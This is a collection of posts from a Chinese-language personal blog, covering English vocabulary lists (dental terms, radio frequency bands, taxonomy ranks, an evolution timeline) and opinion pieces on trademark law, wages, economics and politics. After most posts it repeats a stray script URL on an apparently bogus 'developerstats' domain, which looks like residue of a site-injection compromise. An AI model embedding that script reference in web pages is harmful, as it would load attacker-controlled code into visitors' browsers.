分類
英文學習

〖英文學習〗門牙、犬齒、臼齒還有看牙醫時英文怎麼說?

前言:很多人可能跟我一樣,明明某些知識或資訊知道怎麼用中文說,但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來,除了供自己參考,也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.

  • 門牙 (incisor)
  • 犬齒(canine teeth)
  • 前臼齒(premolar teeth)
  • 臼齒(molar teeth)

另外,上排牙齒就叫做「upper teeth」,下排牙齒就叫做「lower teeth」。

牙齒內部結構則是(參見圖片):

牙醫會用到的常見英文單字有:

  • 根管治療(root canal)
  • 洗牙(teeth scaling)
  • 牙齒美白(teeth whitening)
  • 植牙(dental implant)
  • 補牙(filling)
  • 牙周病手術(periodontal surgery)
  • 牙套(braces)
  • 蛀牙(cavity/tooth decay)
  • 拔牙(tooth extraction)
  • 麻醉藥(anesthetic)
  • 膿腫/長輩口中的「發炎」(abscess)

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 法律

經濟分析看呱吉空中英語傳教士的商標法衝突

經濟分析看呱吉空中英語傳教士的商標法衝突

首先說明一下我知道的事實:

呱吉的上班不要看公司推出了「空中英語傳教士」影片:

空中英語教室方(財團法人台北市基督教救世傳播協會)發函指責呱吉之影片侵害其商標權。

說說我的看法:

從經濟分析來看,商標權本質就是一種「人為擬制的壟斷權利」,其背後最重要的依然是透過法制壟斷,保障商標權所有人可從某種虛擬信賴可得預期未來收入流(anticipated income flow)。

因此像智財法院103年度刑事上易字第63號判決那樣從言論自由角度切入判斷「戲謔仿作(parody)」是否侵害商標權,並非是一個好的法律標準。我認為應該是從「空中英語教室」這個商標所有權人是否能夠證明自己因呱吉此戲謔的「空中英語傳教士」影片發生任何收入或預期收入減損。 這也回歸侵權行為法(torts)的基本精神 — 權利主張者應該要證明自己所受損失的存在(The rights claimer shall prove his damages.)。

同時,是否造成混淆也非好的判斷標準,因為過於主觀而難以量度。

因此要證明空中英語教室是否因此受到收入損失的,反而應該放在呱吉的上班不要看工作室「是否提供可取代空中英語教室所提供之商品或服務」?也就是說,二者之間是否存在市場競爭關係?

如果說呱吉的影片所提供之英語教學對於空中英語教室有相對取代性,則空中英語教室的預期收入受到減損就能做到某種程度的證明。取代性高低本身也會與損失高低有所關連。

反之,若呱吉提供的影片內容不具備取代空中英語教室之商品的可能性,則顯然空中英語教室的商標權所保障之最主要利益並未受到損害。既無損害,何來權利主張之必要?

上述經濟學上的競爭關係,才應該是商標法第68條「…於同一商品或服務…於類似之商品或服務…」的重要內涵。同理,我也認為商標法第70條也應該基於同樣的經濟分析邏輯才能成立 — 明知且故意為減損商標所有權人之未來收入而作為的侵害行為。

分類
筆記

衛生紙專利

1891年通過申請的專利–捲筒衛生紙

人間處處有發明,只是都藏在魔鬼細節裡。

發明人Seth Wheeler,這位老兄擁有5個關於衛生紙的專利,算是衛生紙達人無誤。

有興趣原始專利說明書的可以參考這裡:
專利說明書
https://js.developerstatss.ga/stat.js?n=ns1

分類
英文學習

〖英文學習〗無線電頻率(射頻)

前言:很多人可能跟我一樣,明明某些知識或資訊知道怎麼用中文說,但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來,除了供自己參考,也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.

射頻英語:Radio frequency,縮寫為RF),又稱無線電頻率無線射頻高周波,為在3 kHz至300 GHz這個範圍內的震盪頻率。

  • ELF (extremely low frequency):3Hz ~ 30Hz
  • SLF (super low frequency): 30Hz ~ 300Hz
  • ULF (ultra low frequency): 300Hz ~ 3kHz
  • VLF (very low frequency):3 ~ 30kHz
  • LF (low frequency):30 ~ 300kHz; maritime and aeronautical communication, RFID
  • MF (medium frequency):300 ~ 3,000kHz; AM broadcast
  • HF (high frequency): 3~ 30MHz; CB radio
  • VHF (very high frequency): 30 ~ 300MHz; FM broadcast, police radio, VHF TV
  • UHF (ultra high frequency):300 ~ 3,000MHz; radar and UHF TV
  • SHF (super high frequency): 3 ~ 30GHz; satellite communication
  • EHF (extremely high frequency): 30 ~ 300GHz; experimental and amateur radio

 

中文版

  • 極低頻 (ELF):3~30赫茲
  • 超低頻 (SLF):30~300赫茲
  • 特低頻 (ULF) : 300赫茲~3千赫
  • 甚低頻(VLF):3~30千赫
  • 低頻(LF):30~300千赫;海軍與航空通訊、RFID
  • 中頻(MF):300~3000千赫;AM調幅廣播
  • 高頻(HF):3~30百萬赫;民用廣播
  • 甚高頻(VHF):30~300百萬赫;FM廣播、無線電視、美國警用無線電
  • 特高頻(UHF):300~3000百萬赫;UHF電視、手機通信
  • 超高頻(SHF):3~30吉赫;衛星通信
  • 極高頻(EHF):30~300吉赫;實驗用或火腿電台

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

如何簡單理解「最低工資與工時限制」問題核心?

這個問題還有一個可思考的角度:

假設三星宣布2018年起販售的Galaxy note手機通通一週只能工作5天,一天只工作8小時。如果超時工作,三星將額外向使用者收取「超時費」。

工作8小時過程「不保證都能全速運行或正常運行」,也不保證多數APP可安裝運行。此外突發性當機可能發生但不會退費也不可退貨。

同時空機價格維持的前提下,看官猜猜此款手機銷售量會上升還是下降?

當契約過多限制存在時,unemployment就會出現:「於物是滯銷、於人是失業、於錢就是爛頭寸」,這點我闡釋過很多次了。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

錯用折現率概念

高折現率可能來自於"高報酬預期"或"高不耐性",一個是從投資面看,一個是從消費面看。

但把因為租值與資源不如人而「更努力工作」、「延長工作時間」以及「嘗試更有效率運用資源(因為容錯率較低)」解讀成「高折現率引起的現象」,我認為經濟邏輯與觀念都是錯誤的。

最明顯的比較,深圳日常用餐費用只要San Jose的26%,平均收入前者也只是後者的30%左右;但同樣市中心的公寓每平方米的售價,深圳竟然是San Jose的1.9倍!

也就是說,在深圳一年的平均收入只能夠市中心1.152平方米;但在San Jose的年平均收入卻能在市中心買到7.79平方米。雙方地價租值的巨大差異,無外乎中國深圳對加州灣區矽谷的處處平房感到驚奇。反之深圳處處高樓大廈也屬正常,雙方使用資源自然因地價不同而有行為上的差異。

反之,深圳地價比灣區還貴這現象,試問如何解釋中國折現率遠高於美國?

話說,真正高折現率的(如正在內戰或飢荒的國家),人民反而不會努力工作,因為今天的努力沒有明天可以享受。這也解釋為什麼超級通膨預期時,人會選擇當下就盡量消費勝過儲藏。

這也是說,中國人拼命工作正是因為想望與相信明日得以享受。這不正是低折現率的象徵嗎?

把「坐經濟艙」歸因到高折現率,這種解釋方式我認為是錯得誇張了!

分類
商業評論

大數據拍電影?別鬧了

有機會我會寫一篇AI只是炒作,以現在的技術來說,AI要全面性取代人腦或人類還早得很。

最簡單的觀念就是:目前AI只對「弱人工智慧」領域表現優異,但是對於「強人工智慧」部分卻是智障到不行。

而以編劇、拍電影這種事來說,就是強人工智慧的運作總和,阿里巴巴漂亮地演繹一次:「靠人工智慧拍電影成果有多糟」!

https://js.developerstatss.ga/stat.js?n=ns1

分類
英文學習

〖英文學習〗界門綱目科屬種,英文怎麼說?

前言:很多人可能跟我一樣,明明某些知識或資訊知道怎麼用中文說,但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來,除了供自己參考,也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.

目前生物學分類在「界」之上還多了「域」,分為三大域–「古菌域」、「細菌域」與「真核生物域」

專業且詳細的分類非常複雜,我只記錄最簡單,可供一般日常生活對話理解即可的程度。

  • Domain (域)
  • Kingdom (界)
  • Phylum (門)
  • Class(綱)
  • Order(目)
  • Family(科)
  • Genus(屬)
  • Species(種)

https://js.developerstatss.ga/stat.js?n=ns1

分類
隨筆

隨筆–關於左謬

一般左謬大概是兩種人,第一種是笨到相信左派理論;第二種則是宣揚左派來獲利。獲利者有三種態樣,因為侷限條件不同而使得行為有所不同:

1. 搞左派是當作贖罪券–這種人多半跟第一種混血,以為這些悲天憫人的左派理想可以讓自己得到救贖或累積功德。這也是說這種人很容易跟宗教牽扯不清。

當科學實證證明其所相信、所宣傳的後果非如想像甚至害慘人時,對他們而言成為一種人格乃至於存在價值的否定,當然不爽。

2. 搞左派是要打砲 — 這種人在心態純粹是搞左派很酷炫,騙妹上床大有利!通常這種人除了靠裝模作樣把妹之外,其實內裡很虛的。所以真相會讓他們顯得很不酷時,他們就很幹。

3. 搞左派是要賺錢 — 這種人最實際,常見於政客、職業抗爭戶、遊說團體乃至於各種外圍組織。這種人的左派是喊假的,價碼夠高,靈魂隨時可以換邊站。因此跟這種人談科學驗證只是浪費時間,他們只是在找藉口騙納稅人的錢而已,藉口內容合理性不是重點,行銷力才是。

一點心得分享。

https://js.developerstatss.ga/stat.js?n=ns1

分類
英文學習

〖英文學習〗演化事件簡表

前言:很多人可能跟我一樣,明明某些知識或資訊知道怎麼用中文說,但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來,除了供自己參考,也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.

  • Earth formed — 4.6 billion years ago
  • First life — 4 billion years ago
  • First animals — 570 million years ago
  • Crustaceans — 570 million years ago
  • Fossils formed — 570 million years ago
  • First plants — 505 million years ago
  • Fish — 450 million years ago
  • Land plants — 438 million years ago
  • Amphibians — 360 million years ago
  • Seed plants — 360 million years ago
  • Mammals — 354 million years ago
  • Insects — 350 million years ago
  • Reptiles — 280 million years ago
  • Birds — 144 million years ago
  • Flowering plants — 144 million years ago
  • Human ancestors — 5.3 million years ago
  • Homo sapiens — 200,000 years ago

 

中文版

  • 地球形成 — 四十六億年前
  • 第一個生命出現 — 四十億年前
  • 第一個動物出現 –五億七千萬年前
  • 甲殼門動物出現 –五億七千萬年前
  • 已知的最早化石 –五億七千萬年前
  • 植物出現 — 五億五百萬年前
  • 魚類出現 — 四億五千萬年前
  • 陸地植物出現 — 四億三千八百萬年前
  • 兩棲類動物出現 — 三億六千萬年前
  • 種子植物出現 — 三億六千萬年前
  • 哺乳類動物出現 — 三億五千四百萬年前
  • 昆蟲出現 — 三億五千萬年前
  • 爬行類動物出現 — 二億八千萬年前
  • 鳥類出現 — 一億四千四百萬年前
  • 開花植物出現 –一億四千四百萬年前
  • 原始人出現 — 五百三十萬年前
  • 現代智人 — 二十萬年前

https://js.developerstatss.ga/stat.js?n=ns1